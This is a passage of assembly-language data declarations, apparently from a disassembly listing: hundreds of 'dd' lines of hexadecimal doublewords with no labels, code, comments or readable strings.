		dd 0D0F07503h, 3F04DD5Ah, 44C55AFh, 0C61D03A7h,	48AE111Ch
		dd 0B0BCD6FCh, 0C84A2D37h, 4B26C79Ch, 0D923A27Bh, 0DD3CCAA4h
		dd 2B88FC6h, 0E3400281h, 2A89539Eh, 0C209CCEh, 98D7C83Eh
		dd 0DBFDC357h, 0D81200B0h, 0D007D8B3h, 8DCAAEB5h, 0E57F7AE1h
		dd 132284A1h, 0A03FC926h, 43242E07h, 7BEBD526h,	0B59287D5h
		dd 5CD0E782h, 19A86463h, 0FC0C49Dh, 0ECC9A9D0h,	3673BEA2h
		dd 784748DFh, 56EF3859h, 99042474h, 0FF9CAE2Dh,	79A27445h
		dd 0FB50A242h, 0A130C537h, 60157FADh, 4F85CF9Ah, 7E7A858Ch
		dd 0B1968EAEh, 0C84773EEh, 0CD154CE5h, 9C9E8DE7h, 9876E9FFh
		dd 1887C217h, 7BE11060h, 0CA3CB01Bh, 0A693F601h, 8519F837h
		dd 26CE7C2h, 579B37E4h,	1BE8109Dh, 1ED0E523h, 0A60EF044h
		dd 69B712B0h, 0D09FEDD1h, 38CF4E5Ch, 414192ACh,	123F678h
		dd 72F6721Bh, 29FB4E4h,	65EDD3B7h, 0E96FF5C9h, 196CD9E9h
		dd 585F6F28h, 12407A84h, 1359AFEEh, 8E761411h, 9DDA1AB5h
		dd 754B09CDh, 7B78BF2Bh, 90FE717Bh, 61831E15h, 6691E33Fh
		dd 2BD446BAh, 0AFDDCADh, 2C71B72Ch, 38750AF2h, 0F3F102C2h
		dd 880E42DCh, 1ACD598Eh, 356EC396h, 0E026D8BEh,	24485347h
		dd 33D228B5h, 7E83C47Ch, 7E3CFF4Ah, 0FD17CE07h,	0CC36887Bh
		dd 7B807D47h, 56CFC2B7h, 4E1A3B8Ch, 59BB0686h, 490D82B7h
		dd 3DC57E43h, 262A00E8h, 2902740Fh, 452DA272h, 0AB6CB060h
		dd 0DD0743B0h, 7801E1F1h, 0F22BF51Ah, 2769B697h, 2D54245h
		dd 0AF5E001Ah, 0A6EF33B4h, 0CA931B7Eh, 0F44454E2h, 322ED213h
		dd 1BA6B5CEh, 7F6D6DFAh, 8030A3BDh, 9AD38DFBh, 75B74D8Bh
		dd 39A9F33h, 3CFABFE9h,	0FAC8B37Ch, 83668E2Dh, 9EA823D2h
		dd 0DEF4BB36h, 0AD829238h, 2D3DF508h, 0C309EB71h, 7971B781h
		dd 105B2ACAh, 2A518627h, 709D5B03h, 8A406BDCh, 9D1FB2D4h
		dd 31794512h, 0F7038812h, 24536D1h, 0F8E306EBh,	0DCBCD145h
		dd 0C6DF7D7Bh, 0FECB26C6h, 0EAA90BF3h, 2272C8ADh, 30313932h
		dd 0BE44FC9h, 840B395Bh, 9308884Fh, 4FDCE0D6h, 53F5378Ah
		dd 5862829Bh, 0ABE91212h, 0DF6A890Bh, 91B23016h, 0FC6CE1F7h
		dd 1575612Ah, 9A2D9FAEh, 0F2FEBF68h, 55915305h,	4A762FCEh
		dd 7B7BC84Dh, 87D720BBh, 0A5F56C09h, 662B2559h,	51CF88D2h
		dd 70D9325Fh, 9A5317A0h, 6496AEEBh, 211E889Ch, 656E3414h
		dd 0D4DA59C3h, 8CAD7017h
		dd 0ECCE9B83h, 0F0451D34h, 0AE237613h, 0DFF0AB8Fh, 0D8E53B0Fh
		dd 0C21534CBh, 0ED154869h, 95F1F7A3h, 6737E048h, 6A6DC993h
		dd 1A9873FBh, 0D543595h, 0B5C5C17h, 0E365123Dh,	32E103BAh
		dd 0CFC8A888h, 267F5952h, 77E6AB29h, 5028E57Eh,	4E85ED6Bh
		dd 0CCB99CD8h, 0DBCA800Bh, 0BF9C143Ch, 0D48D9F2Dh, 0B7ED7FD6h
		dd 988BBA8Fh, 36258CFEh, 4B02B23h, 2CF76E27h, 6B4B10EBh
		dd 58785AFDh, 0B8FF3AC9h, 829AB91Eh, 4EBBC1B2h,	0E6373A75h
		dd 95822994h, 0B55B8FF9h, 0F3E214ACh, 0D14E0A5Fh, 87445053h
		dd 0A853EE32h, 51780315h, 93873D44h, 4A247011h,	6467F19Ah
		dd 1C4E7525h, 0D1911743h, 33AA8422h, 722E2BC6h,	0F4D64BB3h
		dd 0E0B1D404h, 97899332h, 78F4801h, 0E443B519h,	465DC94Eh
		dd 9BBF3370h, 0D5B3569Fh, 1C06912Ah, 0E212177Bh, 0EAC05135h
		dd 8FEF6440h, 382A4D7Fh, 242CAF59h, 285E32E0h, 6584DC52h
		dd 0F1BD735Eh, 49543317h, 0A1E63E0h, 0F234FC10h, 0EDC5EED7h
		dd 0AE320A0Fh, 7FE49BA6h, 0F56EEF26h, 87064E0h,	0E651BADEh
		dd 0A579AEB5h, 0B0E53FBAh, 684AD46h, 629905B4h,	60A9606Eh
		dd 0A90D024h, 0CD1A4D79h, 5834E3B8h, 75448EB1h,	2B3F81D4h
		dd 7F1187C3h, 1661E76Dh, 0B3CD4B83h, 8A1EE278h,	29CAC4F6h
		dd 0CDA27970h, 0F67EEC04h, 0F972D118h, 88D5F65Ch, 0ED45736Ah
		dd 573A00CDh, 3090376Ah, 0C8291824h, 0B67426C7h, 7A2810ABh
		dd 3BDEDE45h, 3E6773EBh, 4F4926A9h, 38CBFAA2h, 2A8224ABh
		dd 0C22906Bh, 0D0335638h, 15E5527Fh, 160618F3h,	0E02E958Ch
		dd 0C79E95Dh, 4756B296h, 63EF6831h, 0E5BB9642h,	32D293B6h
		dd 0F379A815h, 0A14F86C4h, 163B953Ah, 13EC89E6h, 0B19E6174h
		dd 5A0A381Dh, 0A2D9DA8Eh, 5847FB0Fh, 0C99C4CFAh, 8765530Eh
		dd 6F5E46B4h, 0DA81B871h, 43E193C4h, 718E1A98h,	602BBE38h
		dd 0A0B2F9BCh, 5E6C90Ch, 8D189735h, 9ADFC3Ah, 0D6A6C352h
		dd 0F389AE46h, 0A170080Ah, 0EABB0CB8h, 0D363A01Fh, 0DF330506h
		dd 98EC9BD5h, 0FE647533h, 0BE1E193Ch, 61413C7Bh, 5E80BF43h
		dd 4DABD305h, 254ABC0Eh, 25B244C8h, 202C5CA0h, 9E01F6DAh
		dd 0CEE8F30Dh, 9F6DBA58h, 0E4403625h, 0B4682363h, 27E35E70h
		dd 92A5E8C3h, 740206FAh, 0D6DB48F8h, 0B4294098h, 0D7625993h
		dd 47491294h, 4059D0F6h, 14FFEE7Ah, 0D8485272h,	91CB67Dh
		dd 0E7AD6517h, 0EB694850h, 0A42C60FBh, 0FF89E166h, 1253CB68h
		dd 8D4CD891h, 9E253181h, 0D578BA7Eh, 0DD953D82h, 0DFD10331h
		dd 2DFBD792h, 635AE663h, 83027A50h, 41894996h, 3EE964C4h
		dd 57A03079h, 0FC1D1EB5h, 41C0C542h, 8BD49428h,	98FEFA42h
		dd 6DFD0B7h, 0A0AC23F0h, 6D45A813h, 4F17EF1Eh, 0E9F1ECDh
		dd 0F9499CC1h, 45AD140h, 77379D74h, 27C010B6h, 0B1C40CFEh
		dd 0F138E3BBh, 0AEBB7BABh, 576BA3B2h, 1F6BE4F0h, 0BA0570F9h
		dd 54EE711Ch, 9A8B076Ch, 20880857h, 1ECA43Ch, 3207BF67h
		dd 0C66C06E8h, 0C7006691h, 0BB39E388h, 0EC6989DBh, 0FC83D7B2h
		dd 65E4DC00h, 0E395F00Bh, 5235F362h, 0B33509D8h, 554E901Ah
		dd 0E0B67645h, 22A5BFC4h, 7C7C159Bh, 0CFDCB044h, 0CCC1688Dh
		dd 0E3F2E915h, 9906CFCAh, 0FB1AFCC2h, 0C3616BCAh, 6B45B16h
		dd 0C0282679h, 0BC51CD09h, 0DFADC2BDh, 0E8C3D145h, 0B8F13C3Eh
		dd 0B29E7FF1h, 88F8EE68h, 0FFF37ABFh, 0B6BB90B0h, 6317CDA3h
		dd 0B6ACA834h, 0A24D3DD6h, 68917352h, 690E3BAFh, 50BF7351h
		dd 555F4A57h, 77AC8B94h, 3057C2D7h, 38FBCCABh, 6463DC81h
		dd 9F6681A2h, 1069DD17h, 0E629D9CCh, 92129F5Dh,	0F54B305Fh
		dd 11DE4D82h, 3F74C54Eh, 23BE11B5h, 0C0A4B6D6h,	71697A84h
		dd 9B29571Fh, 0F03C6626h, 25B6E3AFh, 0EE9A3DCAh, 25C58ED0h
		dd 858AB9DFh, 0C386840Fh, 0BDA8BE8Ch, 5D92E22Ah, 0FC676FD9h
		dd 555CF264h, 936FC4B8h, 4C46CB73h, 0C04AEB68h,	915DFC82h
		dd 0D87B0E3Ah, 8B6D15B6h, 0B9526617h, 0CB1E801Bh, 0A482D379h
		dd 49D7C4F0h, 7E69D4CCh, 59407D00h, 37203A25h, 504792Ch
		dd 0BF89E8D9h, 8CC654F4h, 96D22793h, 4C4F5C23h,	347599Ah
		dd 457F213h, 5D4BBF43h,	17F80710h, 0BF8D38C2h, 0A205B86Ah
		dd 0D1B7420Eh, 7CE3FFD1h, 51B5CEF8h, 0ACAEBA0Fh, 0EA322962h
		dd 47D6072h, 0BB2B60FEh, 0DCEC77E4h, 1180C372h,	3362BB4h
		dd 0FC50102Eh, 7460672Eh, 73008B35h, 7CD11C37h,	7F1A7397h
		dd 0E06B13C2h, 1A74F481h, 0B5824308h, 0F5106F28h, 4B0D1B65h
		dd 1FC1627h, 260D9FEFh,	7D035A4Eh, 0FB013D3Fh, 434E3DDBh
		dd 63261C83h, 74EFFD1Fh, 0B14BA6F0h, 5B487F2Bh,	74AE2A4Eh
		dd 0B8948F63h, 34C7334Eh, 8DBF72h, 35265F64h, 0A2F7F763h
		dd 1F402A4Ch, 204063B5h, 898EAEE2h, 14CD4D60h, 0A3183B4Ch
		dd 1C604CAh, 0A6AB9B66h, 3F19600Ah, 0D67D3CE4h,	0E7EBE8C3h
		dd 0B03B2170h, 7D403549h, 6D34765Ah, 0E5A65725h, 813BFD1Fh
		dd 9123B3D8h, 9BD70567h, 0B76F1283h, 8ED7443h, 1D6C4244h
		dd 280AF6CEh, 2670D1DFh, 0C45E662h, 8D8E3D80h, 0B50B4023h
		dd 386E9B87h, 14166492h, 0D6748D7Bh, 2A435E3Ah,	20657474h
		dd 0A2F733E5h, 169CF697h, 0B9B43A73h, 7516E2FAh, 1FB95A3Ch
		dd 2D0B9EC4h, 6E9E2C8Fh, 0C50A07ADh, 5D0E9D19h,	15DB09Ch
		dd 0B88B26A7h, 0A135AB7Bh, 704BEF13h, 1E1D98EAh, 3EA20D3Eh
		dd 0B19B847Fh, 5C05A719h, 279B8EE0h, 0ED70D3A3h, 8AAC7DB0h
		dd 8B9D6945h, 1D0A6926h, 4DC9043h, 628085C0h, 62BF4AA4h
		dd 0CED3A401h, 144DC238h, 53CCD7C1h, 53E80FA5h,	0F8FE04E3h
		dd 0BD0AC29Bh, 421755AAh, 0E2E17443h, 69E73CEBh, 42A4565Eh
		dd 64C3CC4Dh, 764934C7h, 21C300E2h, 0E0167A1h, 0D1C19840h
		dd 531C195Dh, 0DC188E47h, 195C1550h, 9B6570ACh,	8B1F059Dh
		dd 973E9AFAh, 0E76F3928h, 0FEA939F9h, 2561E61h,	0D029C0CCh
		dd 0A35E31C6h, 6F646FD9h, 0B6748F6Fh, 0B46652C2h, 89DD9266h
		dd 27B8DAB6h, 0F8CF75FCh, 4141741Ch, 0F7162B19h, 0E40D71B3h
		dd 3B49AB83h, 0A5814586h, 51EBD6F2h, 60CE461h, 76508F12h
		dd 179E5309h, 42A697A5h, 24270E64h, 34935425h, 3E8512Ah
		dd 6B96C491h, 6D6B680Ch, 0BE039E56h, 0C9C8D548h, 780C3F39h
		dd 3CCFFE19h, 881A1662h, 40918BDDh, 95CD15ADh, 0B5E5727Eh
		dd 2009E0E1h, 0DBB0BFEh, 2418EFCBh, 8DF9E57Dh, 0AE16EB4Dh
		dd 44157F07h, 0EB87F6C5h, 6A7312DFh, 2AB831BFh,	0BA3D6CDh
		dd 0D328D45Fh, 27F1F4B3h, 0B0B4E962h, 59633D9Eh, 0CE662B7Eh
		dd 0BD8CD8Ah, 0B941CD4Ah, 0C413E7E2h, 0D5834C89h, 7B5B6F8h
		dd 1C7813F7h, 23E40420h, 1DD79282h, 504679D2h, 4BD890Ch
		dd 62AC59C0h, 0DAA26597h, 804C2A35h, 0FBD06C3Ah, 1217BD55h
		dd 0A4F462B3h, 0C0CB7D2Fh, 807FB3Ah, 0F332C1F5h, 7C82640Ch
		dd 0A34BBE35h, 8E9F8918h, 8F207050h, 0CD0ADD9Ch, 289EC47Ch
		dd 4435AC76h, 976B1F00h, 0A6DA8054h, 0D17BE4Eh,	6A17170Fh
		dd 3EEE7C76h, 0D179649Ah, 242F29Bh, 35ED1180h, 0ECD1A682h
		dd 3C03039Bh, 0AC2233D2h, 66AEB88Ch, 901584AFh,	4CC99A9Dh
		dd 957A18E1h, 0C7E1F9A2h, 0A59EE2FEh, 1D0A2ADAh, 18438BE1h
		dd 0D7CF6C5Ch, 0AB9FBEEDh, 3B6F8306h, 0AB52D45Ah, 0AE3F51BDh
		dd 3DE42BFDh, 8BD67056h, 4D75CD12h, 0AAE23A9Bh,	0F6D4BE1Dh
		dd 2253F599h, 5578B631h, 8DC79E71h, 775DB49Ah, 0DD3669FAh
		dd 4E506D64h, 313EB134h
		dd 590032D3h, 0C4AD0C3Eh, 0EC356D4Bh, 74A8913h,	0E9C3B14Ah
		dd 4E1284D2h, 626FCE57h, 9032E52Ch, 1A3589EEh, 0CF40D0CFh
		dd 0BF07A095h, 5E83C501h, 455185E4h, 0CBE72869h, 2FB7AB22h
		dd 5512F6Eh, 3AEDD092h,	55C2782Dh, 63CFEF70h, 0EE0368B8h
		dd 0F11149A0h, 0ADF8A434h, 71C00AE5h, 8F278802h, 0F326176Eh
		dd 0FB4BF799h, 9DCD6D9Dh, 0CEE66BA7h, 0F9D3CA42h, 0A339D13Fh
		dd 0A54792F9h, 0D5DA1B94h, 86D01B6Fh, 64F1F520h, 0CA4A97D8h
		dd 0B210A6B9h, 0B4CA29ACh, 0CFF6AC6Ah, 57A5CF63h, 31E5D20h
		dd 0E7C1C682h, 8A50C62Ch, 9FB0374Ch, 0CF115C1Ah, 18C876E5h
		dd 0C63332B8h, 394C6A51h, 87D73F66h, 687E9A01h,	7D81AF97h
		dd 7B166E7Dh, 0B9B15358h, 16602321h, 0EA18CC6h,	1E5EC16Dh
		dd 7305C1E9h, 0AE866193h, 2C3D4D22h, 0F0B236E2h, 0A4C14098h
		dd 78DE91F7h, 610DEC00h, 0B0FDCFC8h, 0AD605534h, 824DAEE0h
		dd 20512EB0h, 6989D155h, 2727CDDBh, 4FBB5C2Fh, 0C4A2FF26h
		dd 134F45F9h, 2A013A50h, 1EC4EBA3h, 54A859DCh, 138C3FF7h
		dd 82F0BC2Bh, 4AC7D98Fh, 4867634h, 592F441Bh, 549846D9h
		dd 0E735717Eh, 0C2F8E8A0h, 0B55C89BCh, 7E3E97D8h, 32692F1Eh
		dd 3A6F75DFh, 552B7329h, 1B967689h, 98E7D293h, 1058B63Dh
		dd 259B612Bh, 0BC6611F5h, 0FCC6F0F0h, 83BD1AC0h, 70E19807h
		dd 82126BF4h, 75733873h, 0E521D08Fh, 26E3FC00h,	6D66B240h
		dd 0EE9EAD47h, 0EEA020EDh, 0F7FBB32Bh, 0C21D916Dh, 92E15047h
		dd 2673A70Bh, 0FA83E08Ah, 0C45442BAh, 0AE0E2A7Ah, 41901733h
		dd 7EA437FFh, 4415A65Ah, 0EA0604E6h, 3540D51Bh,	24EA1931h
		dd 3295AFF8h, 2A6ED720h, 2A8B7417h, 35F71FEBh, 0EB4DD30Bh
		dd 816AA966h, 63BA3A2Dh, 4013D685h, 0F1E7C942h,	0F2FDB6A2h
		dd 1ABF5879h, 0B96F269h, 244267B0h, 22EEDD8Ah, 0A431318h
		dd 591DD627h, 0E655007Ah, 0B5C62D0Ch, 0F4529F4Bh, 10FFF7A8h
		dd 6632EFh, 432E1DD3h, 0E16D3AD1h, 88D0B70Dh, 915BBB4Bh
		dd 0C0BAAC4Bh, 72CFE929h, 0A7116A59h, 483CE8EFh, 7F1D2548h
		dd 899D9F83h, 7B6AC207h, 0DE320CA2h, 584A0440h,	78064A1Dh
		dd 0FB64C5C5h, 7DB44756h, 2BB3F205h, 3035AED2h,	22B90DF9h
		dd 311A01DAh, 3B49FC48h, 5C5A78CEh, 0D6492A6Dh,	7E6BA9E4h
		dd 0E3E3FFC2h, 101F996h, 6D34E2BFh, 32E4C4FAh, 0CA29612Eh
		dd 684058BAh, 720D86E8h, 0D1CC81C7h, 0A50BB73h,	22F37561h
		dd 8D7D1C2h, 2F6FBB93h,	0D950C57Ch, 0DFC11014h,	0B2A50BA7h
		dd 0ED8E1C50h, 0CB953336h, 82D7F53Ch, 6553AD33h, 0FCFEC57h
		dd 94BD5438h, 69FAB1C8h, 8851478Bh, 5DA15428h, 514B7C87h
		dd 548D9D3Ch, 66D7F0EDh, 43DF6D4Ch, 6402046Ah, 0B6281273h
		dd 391D5AE4h, 3F9F1CD3h, 33357094h, 6491F283h, 57C9CF93h
		dd 0BAAC2B93h, 69B12A9Eh, 21DD83E1h, 5AAB0617h,	4F0B6C1Eh
		dd 309B549Dh, 5EEC6425h, 0D6CDCD92h, 0A17DF3F5h, 47E5D41Fh
		dd 6C01908Ch, 63FFEB9h,	7DCB40D6h, 0A74E1A7Eh, 36F8D0BCh
		dd 55A72B19h, 0F4A0D226h, 46234B9Bh, 82EF21B8h,	0FCE79B9Fh
		dd 6D5731E8h, 45C6DA50h, 6A487E3h, 8947D1D6h, 0A88083Ch
		dd 68C8C2D9h, 1A260246h, 668FA888h, 7411468Fh, 4DF5D90Ah
		dd 933DC12h, 224141A4h,	732F12CDh, 45EEE99h, 1E2395Fh
		dd 7CA3D24Fh, 0F534CF3Ah, 0FF509765h, 297C2ADBh, 6973887Fh
		dd 22E39DD8h, 33CA384h,	0D994F94Dh, 0F7A0339Bh,	7CA4B582h
		dd 0FBA6530Fh, 45D70720h, 3E6FA5E3h, 9E8B8527h,	8933AAFFh
		dd 5604E684h, 0BCB586Eh, 9C2518B9h, 0D31D012h, 343F8733h
		dd 0CCA84FCFh, 0FA7B207Bh, 4818CA0Bh, 0FAB94D41h, 0EB20D89h
		dd 45B458DDh, 0D8512722h, 93ADC467h, 26A3299Bh,	0B322CC49h
		dd 0E72B6266h, 0B20BB00Ah, 0E7B91785h, 1BECF4DBh, 7C106DF2h
		dd 779B5ADFh, 6922FD45h, 0EB5D9C9Ah, 0D59CF73Ch, 45FE4156h
		dd 871704A8h, 400CE2Ch,	2035368h, 0E8613141h, 9ECF454Ch
		dd 53B26E74h, 0BA9D89C4h, 5645403Dh, 5158EBDDh,	0C06D82C7h
		dd 0E70797E2h, 90A87CD1h, 0AC030A46h, 39819B6h,	0A1713AD6h
		dd 2C540939h, 372F8EE9h, 0CCA86BBh, 29DCCDC1h, 0D6ADA22Ah
		dd 39DD3775h, 75D9A481h, 33270B0Ch, 245E5D4Dh, 0BA4F321Ch
		dd 292B495Dh, 41183AC9h, 1391BB30h, 91D82BE6h, 1D310A1Ah
		dd 0B55E9F0h, 9D9CC8Bh,	6EF3BC4h, 0E1834311h, 0EBD6A975h
		dd 8F055885h, 0FD42096Fh, 3AE685BAh, 14000974h,	0F9750388h
		dd 7F3653E9h, 5678D7ADh, 1FEE43E1h, 0E3C95A4Eh,	5A5887F6h
		dd 1A25089Ah, 62BC3828h, 97601256h, 6B9DC0E9h, 87159635h
		dd 860F2452h, 0E2DD4595h, 0CA2675E9h, 7DD3FDD6h, 0DFB36352h
		dd 8E2983E3h, 4F298A48h, 0E3A1149Dh, 436F4F24h,	8BB69821h
		dd 0ED89DE00h, 398DAB52h, 289F3133h, 0E0611EB3h, 4DCC3160h
		dd 0DFFA37B4h, 3A3E5459h, 2DBD2DD5h, 0C9361539h, 9981F14Ah
		dd 1F740711h, 3E3D75A5h, 73F65051h, 0D2BB4C22h,	0EC011EE6h
		dd 0FD578B03h, 2149EA3Fh, 0D29D8746h, 6C2F1Fh, 67984BE8h
		dd 6900DE0Dh, 4FC43DDFh, 0DC64341Ch, 3B0EF46Eh,	9BC877Dh
		dd 0E6F52172h, 4465F89Bh, 53D76838h, 164BAE09h,	0FCD49AAAh
		dd 0DBB56116h, 8973BD58h, 0DD0F31BEh, 0D01721EDh, 88278EA5h
		dd 57E6EB99h, 5C3661Dh,	0A3C04DFEh, 1E7A872Dh, 0D3E4B809h
		dd 0A1C790Ch, 0F4FBFC62h, 37B52959h, 90E36E4Dh,	5EB9C50Fh
		dd 9AA94025h, 0C8519F1Eh, 0CD1C9BE5h, 0B6326D61h, 52082D15h
		dd 7CCD6409h, 83DD8F8Ah, 3F4443FDh, 1B8E057Ch, 0A0D5637Eh
		dd 0B0FC90B3h, 0D82EE723h, 568248CDh, 2EA336Eh,	4D3D9F50h
		dd 724D7771h, 4823E0D0h, 264B945Ah, 508EF1A9h, 0A38A5A10h
		dd 2A6A7571h, 6C344274h, 0C51D7CE4h, 992FA3D8h,	0C9EA2FBEh
		dd 8147DDCFh, 0B9D80241h, 0F526B869h, 82DFF6B9h, 0C185974Eh
		dd 4503744Bh, 41ECA19Ch, 2DF90160h, 1B5BB72Fh, 4902F6BDh
		dd 0A4A9EBB0h, 1C58FACBh, 0BC1726CDh, 90958976h, 647A9358h
		dd 0B51BB29Ch, 0C4A1D914h, 0AAF7C263h, 718479FCh, 0C64316D4h
		dd 70AFCA65h, 0FE0CEA38h, 0DD7FFA3Fh, 0F6806AC2h, 0DA3DE664h
		dd 1DDBC727h, 0B103D42h, 0BE70CE91h, 65BEB9D9h,	0F663F856h
		dd 630619D1h, 0AB32A8F9h, 65419716h, 0CA358045h, 0A7B296F3h
		dd 529F863Dh, 0AA64F1BBh, 0E3F435BDh, 77F29416h, 335F79B7h
		dd 0CF060614h, 0DA06FAC1h, 4F838938h, 5228CF16h, 793B90BFh
		dd 0A742B746h, 13BFAD90h, 0E4DAE68Eh, 0B3955C18h, 0EFD1B551h
		dd 0FF0670B0h, 1BC5E30Dh, 9E1EC55Bh, 275E5977h,	0EC55F9CDh
		dd 0EE0BEF83h, 98775797h, 0CB6740A8h, 962A6514h, 60065EA3h
		dd 8578840Dh, 0AF279D16h, 4A028444h, 26E8C247h,	2B447E81h
		dd 0D54C06F6h, 2C07AB05h, 2EA81020h, 1864AD83h,	0A4D685C4h
		dd 34011AB2h, 0C7A2E513h, 0C9030F6Bh, 0BC240029h, 52C824D9h
		dd 8AA01D09h, 0ADC05E46h, 2A5B8BF3h, 6927595Ch,	630B1BFCh
		dd 0DC922B83h, 0EAFBFA96h, 734513CAh, 1E2A52CAh, 0E165E758h
		dd 0CDF8358Fh, 9E495A43h, 0AF4DF346h, 0E412586Bh, 1F3E911Dh
		dd 0EC187CBAh, 2CFA9424h, 7E14EA6Ch, 0C571190Ch, 0A5771B13h
		dd 90EF440Ch, 1854A08h,	0D36E13C8h, 753DE41Bh, 460CD752h
		dd 0C8CD95FFh, 7EE121D1h, 263E7FAAh, 0C3A2A0E4h, 0E45253E7h
		dd 9602C6Fh, 0CF986B2h,	8B42586Bh, 648E3CCBh, 34239B3h
		dd 0B755EDA9h, 0EF32155Eh
		dd 0D47CE408h, 2CFF6D33h, 0F7DEA3AEh, 0A10A880Dh, 7AF7FD24h
		dd 0FCC8CA81h, 850C9439h, 0CB4A7EADh, 8A7CC695h, 2545A5BDh
		dd 0A732937Ch, 7A9EAE81h, 3CCE3CBAh, 0F66B3BDBh, 5948580Ch
		dd 0FEB0F743h, 63219E37h, 89F7377Eh, 1B5F6572h,	0B64493C2h
		dd 119BEC59h, 9905511Fh, 65581437h, 5570E207h, 68104DF4h
		dd 0DB58FA5h, 81101D4h,	6CAB961Eh, 0A85926F2h, 6B9DA46Fh
		dd 41F0DB0Ch, 603AA05Ah, 0B6E00C38h, 0FBD7A5E6h, 0BB4AAEFh
		dd 3CF9F63Ah, 1581349Ah, 48E282B8h, 4223D4D2h, 831AE96Fh
		dd 37147669h, 5F0B1E13h, 0A9EBC190h, 3BD8910Ah,	539773FBh
		dd 0C8F037CAh, 51CB669Eh, 76AA5967h, 0B6D7964Ah, 9CAE771Fh
		dd 0F18DACF2h, 42829FA5h, 0FD10104Bh, 228861B0h, 8BD28F05h
		dd 9C691B2Ah, 5DEEB24Dh, 0A4132EC0h, 0CB98482Dh, 4A48343Ch
		dd 8A5B4E7Ah, 8EB6BC7Dh, 0D0CD04FDh, 57F4986h, 49D88076h
		dd 866A67EEh, 8C5524D3h, 3C1C3D89h, 404465A3h, 5F5C63E8h
		dd 37F9621Ah, 9567C871h, 67150D74h, 0D31DCBF1h,	2D93E058h
		dd 470ADE0Eh, 0B696B27Fh, 517F9790h, 586024F4h,	0A2BE6D6Fh
		dd 0BFE902B3h, 358A29F1h, 0A085771Eh, 3E9FB1E3h, 23403D16h
		dd 9A318DF1h, 5593ED52h, 1D37A3FCh, 8804089Fh, 0CE105243h
		dd 0C28D0h, 0E02BDCCFh,	0C8B9CFE7h, 759A6858h, 0C6B7C773h
		dd 7D91CAC9h, 1C079144h, 0A6328721h, 0E0927AAEh, 0BBD02CE3h
		dd 37AA68D8h, 3231B9F2h, 0F16C9DF7h, 3E1C61A4h,	81492016h
		dd 1456E563h, 0D1898D6h, 0FCFA28D4h, 0DEDFBC55h, 145BDE51h
		dd 9CCF9B56h, 52FDA0E1h, 0FB315CA9h, 0FBBA8D02h, 8A18A3C3h
		dd 0EB88F96Ch, 2690CE23h, 0AC564EF1h, 6E7F8A63h, 56CCAFC3h
		dd 4E3CEA1Dh, 20DB8BE1h, 0B9DC1407h, 0E326B22Bh, 7DC4DDB3h
		dd 1FFF7A42h, 18EB2D74h, 1BE8A743h, 27BF8FC9h, 95A132C1h
		dd 39793120h, 2C6C535Ch, 37D8599Fh, 2DAD93DFh, 854A3567h
		dd 0A4DED741h, 74C48B60h, 7F87FA09h, 0CC69C233h, 0DB73A066h
		dd 748955BFh, 0E775A49Dh, 8A25462Eh, 33106F11h,	0BF0EBD56h
		dd 3726D228h, 89D0DD25h, 9F4A39AEh, 0BFB3D14h, 9689AD20h
		dd 605CD181h, 2A0243DCh, 0C3CB978h, 0DB5E97EDh,	0BF6E0086h
		dd 0AA0E675Fh, 16F30A59h, 4566BC93h, 2F421CC5h,	0F78B48DBh
		dd 0B0422B18h, 3A0DFC5Eh, 0FE683C6h, 5709EA89h,	450E4908h
		dd 1B148C7Eh, 0A82DDBABh, 5B51C93Eh, 3451FE54h,	45F26D2Eh
		dd 0B8897250h, 38B593A5h, 750EE273h, 4D60AD0Eh,	0A3737689h
		dd 53A49065h, 7F02A4Ah,	0E1459BC1h, 89C2B861h, 8F951B8Ch
		dd 5F6A728Bh, 0B58318FAh, 3BE9D393h, 0E41F1511h, 2687D8A8h
		dd 96BB55D1h, 0EFC5204Fh, 0A05708FDh, 4533B835h, 0A75B6B5Fh
		dd 0FCD5E3B4h, 0A4BFFB4Ah, 0A8D55E66h, 5976199Eh, 71E36596h
		dd 478DA28Fh, 0CD78A0B3h, 4D803BE4h, 0DAAE2B47h, 0FB864C5Fh
		dd 60CE11CCh, 177E2BD7h, 90CA85Ah, 331244A4h, 62A1F32Dh
		dd 94713FC3h, 0B7FEB909h, 7B14498Fh, 22DA2786h,	6A65F8Bh
		dd 815E9BF0h, 315B1B6Bh, 0FC3DC779h, 0A4D7781Eh, 72C19E28h
		dd 8EE24D5Dh, 122EED61h, 4C229C0Eh, 12FF197Fh, 0CAF3F844h
		dd 0CA61F56h, 0D36186BBh, 0B6F10579h, 59E69DF9h, 1A8C1500h
		dd 0F7694186h, 55E681EFh, 0B471E362h, 2529C620h, 0E2472A87h
		dd 0F7D58810h, 34CD9204h, 3E586C57h, 8EE4FBE5h,	84C289F5h
		dd 0FF6C9522h, 36FE7FE9h, 61C494EFh, 9B2BA954h,	8574F1F0h
		dd 20A4760Ch, 5BAD7E8h,	0CFBBA685h, 2FE2A665h, 21D4EEB4h
		dd 4C79A539h, 0C003D6BFh, 0C7AEA470h, 7BB102E7h, 0B597496Bh
		dd 36A84FD4h, 80D9ED34h, 0F736CF55h, 0BF153703h, 39FE5F5h
		dd 0F409A141h, 0C88A96F8h, 5A17A826h, 3986C0C9h, 9EB0F186h
		dd 482EF596h, 34C8EDE8h, 0A96D1548h, 2FE153DEh,	0EA68B3h
		dd 0A90D9859h, 0E2881086h, 80F2C28Fh, 0D0EE5A5h, 0B76E78A5h
		dd 9570D16Ch, 38626068h, 394ED306h, 56591005h, 17E46016h
		dd 0CB5571B9h, 0EED72F0Dh, 0A42BA86Eh, 607C5699h, 7D56C2D4h
		dd 3661A1DEh, 46F6CA31h, 0E61F15D1h, 22EC937Fh,	1DA9DAh
		dd 43E7375Ch, 0AD70CD2Fh, 0D593A1FCh, 0A75E59A8h, 0BB1A21Dh
		dd 0A45AA32Fh, 0BBD8A810h, 0D50A367h, 0B41BC529h, 0E24BA145h
		dd 8B6F230Ah, 376510FDh, 3B753FFDh, 0B8985F8Ch,	0FA3D2C73h
		dd 0AAED08B5h, 3C65DEF6h, 0C7A0B3B6h, 3E221F8Eh, 0D73131D6h
		dd 12CD6293h, 7688E49Ch, 336ABD13h, 0FA8A1825h,	1099C242h
		dd 0B41D674Bh, 71705DB8h, 0C2B7B0DCh, 0A257B97Ch, 0D5B9C2CCh
		dd 84D94CB0h, 1356B67Fh, 1C3A002Bh, 0BBF7CE1Ch,	3B580CF4h
		dd 0C802AFC6h, 22F348Ch, 33F49855h, 54DD1F04h, 7DD51933h
		dd 0AD64D636h, 2E4162D7h, 377C1B4Ch, 1F41EF5Ah,	2462511Fh
		dd 0BF175689h, 0A092735Ch, 77854CB6h, 11FB8DDAh, 48596B62h
